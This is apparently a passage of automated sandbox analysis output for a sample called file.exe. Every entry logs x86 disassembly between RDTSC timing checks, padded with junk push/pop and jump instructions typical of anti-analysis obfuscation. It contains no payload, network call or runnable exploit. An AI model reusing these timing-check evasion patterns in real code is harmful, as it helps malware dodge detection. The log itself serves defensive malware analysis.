Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136DDDE second address: 136DE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jc 00007F9D9CDEFDC6h 0x0000000b jmp 00007F9D9CDEFDCDh 0x00000010 jc 00007F9D9CDEFDC6h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136DE01 second address: 136DE05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D192 second address: 136D198 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D2EA second address: 136D2EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D2EE second address: 136D31C instructions: 0x00000000 rdtsc 0x00000002 js 00007F9D9CDEFDC6h 0x00000008 jmp 00007F9D9CDEFDCEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F9D9CDEFDCDh 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D592 second address: 136D596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D6F3 second address: 136D6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D850 second address: 136D85D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D85D second address: 136D863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136DAF3 second address: 136DB12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9D9C813272h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push edi 0x0000000b pop edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FF4AD second address: 12FF4C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9D9CDEFDC6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F9D9CDEFDC6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13417B3 second address: 13417CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9D9C81326Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1341B52 second address: 1341B56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1341B56 second address: 1191914 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a sbb dx, 95FCh 0x0000000f and ecx, dword ptr [ebp+122D291Dh] 0x00000015 push dword ptr [ebp+122D0BB1h] 0x0000001b movzx ecx, ax 0x0000001e call dword ptr [ebp+122D18E3h] 0x00000024 pushad 0x00000025 pushad 0x00000026 push esi 0x00000027 or dword ptr [ebp+122D1ED4h], esi 0x0000002d pop edx 0x0000002e mov ecx, 5CB52D51h 0x00000033 popad 0x00000034 xor eax, eax 0x00000036 jmp 00007F9D9C81326Fh 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f jmp 00007F9D9C813272h 0x00000044 sub dword ptr [ebp+122D1ED4h], eax 0x0000004a mov dword ptr [ebp+122D29E5h], eax 0x00000050 jmp 00007F9D9C813273h 0x00000055 mov esi, 0000003Ch 0x0000005a mov dword ptr [ebp+122D1ED4h], edi 0x00000060 add esi, dword ptr [esp+24h] 0x00000064 mov dword ptr [ebp+122D1ED4h], ecx 0x0000006a lodsw 0x0000006c mov dword ptr [ebp+122D1ED4h], edi 0x00000072 add eax, dword ptr [esp+24h] 0x00000076 ja 00007F9D9C813277h 0x0000007c mov ebx, dword ptr [esp+24h] 0x00000080 je 00007F9D9C813273h 0x00000086 jmp 00007F9D9C81326Dh 0x0000008b nop 0x0000008c push eax 0x0000008d push edx 0x0000008e jmp 00007F9D9C81326Dh 0x00000093 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1341CE8 second address: 1341CEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1341F29 second address: 1341F2E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342286 second address: 134229C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F9D9CDEFDCCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342863 second address: 134287F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D9C813278h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134287F second address: 1342895 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342BB3 second address: 1342BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F9D9C81326Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342BCB second address: 1322F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9D9CDEFDD7h 0x0000000a popad 0x0000000b nop 0x0000000c and dl, FFFFFFEAh 0x0000000f call dword ptr [ebp+124465BCh] 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007F9D9CDEFDCAh 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pop edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1322F83 second address: 1322F87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1322F87 second address: 1322F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D9CDEFDCAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1322F97 second address: 1322F9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1322F9D second address: 1322FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FD96E second address: 12FD972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12FD972 second address: 12FD97C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9D9CDEFDC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137663D second address: 1376643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13767EE second address: 13767F8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9D9CDEFDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13767F8 second address: 13767FD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376B14 second address: 1376B45 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jns 00007F9D9CDEFDC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 jl 00007F9D9CDEFDD9h 0x00000016 jmp 00007F9D9CDEFDD1h 0x0000001b pushad 0x0000001c popad 0x0000001d jp 00007F9D9CDEFDD7h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376DC3 second address: 1376DCC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376DCC second address: 1376DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376DD1 second address: 1376E23 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9D9C813278h 0x00000008 jmp 00007F9D9C813272h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 jbe 00007F9D9C813284h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F9D9C81326Fh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137CC2C second address: 137CC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9D9CDEFDD2h 0x0000000a popad 0x0000000b push edx 0x0000000c push edi 0x0000000d jmp 00007F9D9CDEFDD1h 0x00000012 jp 00007F9D9CDEFDC6h 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d je 00007F9D9CDEFDC6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137B922 second address: 137B945 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9D9C813266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 popad 0x00000015 jne 00007F9D9C813272h 0x0000001b js 00007F9D9C81326Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BA9F second address: 137BAAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jg 00007F9D9CDEFDC6h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BAAE second address: 137BAB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BAB4 second address: 137BAB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137BC08 second address: 137BC0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C004 second address: 137C00A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C00A second address: 137C025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D9C813271h 0x00000009 popad 0x0000000a pop edx 0x0000000b push edx 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C025 second address: 137C02B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C26F second address: 137C279 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C279 second address: 137C27D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C3CA second address: 137C3F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D9C813279h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C3F2 second address: 137C3F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137C3F6 second address: 137C400 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9D9C813266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137CAF8 second address: 137CB08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 pushad 0x00000008 jl 00007F9D9CDEFDC6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137B4F8 second address: 137B4FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137B4FE second address: 137B516 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9D9CDEFDC6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F9D9CDEFDC6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137B516 second address: 137B520 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137B520 second address: 137B525 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137B525 second address: 137B531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9D9C813266h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137FF40 second address: 137FF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9D9CDEFDCEh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137FF59 second address: 137FF5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1385850 second address: 1385854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1385854 second address: 138586C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9D9C813266h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jns 00007F9D9C813266h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138486F second address: 1384875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1384875 second address: 1384879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1384879 second address: 1384889 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDCAh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1384889 second address: 138488E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1384F8F second address: 1384FBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jmp 00007F9D9CDEFDD4h 0x0000000d jmp 00007F9D9CDEFDCEh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13855A0 second address: 13855A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13855A4 second address: 13855AA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1387746 second address: 138774A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138774A second address: 138775B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9D9CDEFDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edi 0x0000000c push ebx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A724 second address: 138A750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9D9C813272h 0x0000000a pop esi 0x0000000b pushad 0x0000000c push ecx 0x0000000d jmp 00007F9D9C81326Eh 0x00000012 pop ecx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A750 second address: 138A756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A756 second address: 138A761 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A761 second address: 138A765 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A8AE second address: 138A8E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F9D9C813277h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F9D9C81326Ah 0x00000017 jp 00007F9D9C813266h 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A8E6 second address: 138A8EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138A8EB second address: 138A900 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F9D9C81326Dh 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1392DEE second address: 1392DF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1392DF6 second address: 1392DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1392DFA second address: 1392E0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9CDEFDD0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391CB7 second address: 1391CD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9C81326Dh 0x00000007 push edi 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F9D9C813268h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391CD6 second address: 1391CEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9D9CDEFDCDh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13424D3 second address: 1342560 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9D9C813266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F9D9C813268h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 mov ebx, dword ptr [ebp+1248349Dh] 0x0000002e sub dword ptr [ebp+122D2682h], edx 0x00000034 mov dword ptr [ebp+124585E3h], eax 0x0000003a add eax, ebx 0x0000003c jmp 00007F9D9C813275h 0x00000041 push eax 0x00000042 push esi 0x00000043 pushad 0x00000044 jmp 00007F9D9C813277h 0x00000049 pushad 0x0000004a popad 0x0000004b popad 0x0000004c pop esi 0x0000004d mov dword ptr [esp], eax 0x00000050 mov edx, dword ptr [ebp+122D27CDh] 0x00000056 push 00000004h 0x00000058 mov edx, dword ptr [ebp+122D2F46h] 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push ecx 0x00000064 pop ecx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342560 second address: 134256A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9D9CDEFDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134256A second address: 134256F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134256F second address: 1342575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391F62 second address: 1391F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D9C813278h 0x00000009 popad 0x0000000a jmp 00007F9D9C81326Ch 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391F90 second address: 1391F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391F94 second address: 1391F98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395E68 second address: 1395E6D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395E6D second address: 1395E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395E73 second address: 1395E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139551A second address: 1395536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D9C813273h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
